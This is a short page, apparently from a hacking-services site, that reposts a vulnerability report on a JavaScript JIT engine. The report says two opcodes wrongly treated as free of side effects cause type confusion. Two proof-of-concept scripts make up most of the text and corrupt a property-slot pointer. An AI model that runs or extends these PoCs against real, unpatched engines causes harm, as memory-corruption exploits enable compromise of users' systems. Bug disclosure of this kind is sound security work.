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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234. 

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
    o.b = 1;

    new cons();

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        cons.prototype = {};

        let o = {a: 1, b: 2};
        opt(o, {});
    }

    let o = {a: 1, b: 2};

    cons.prototype = o;

    opt(o, 0x1234);

    print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();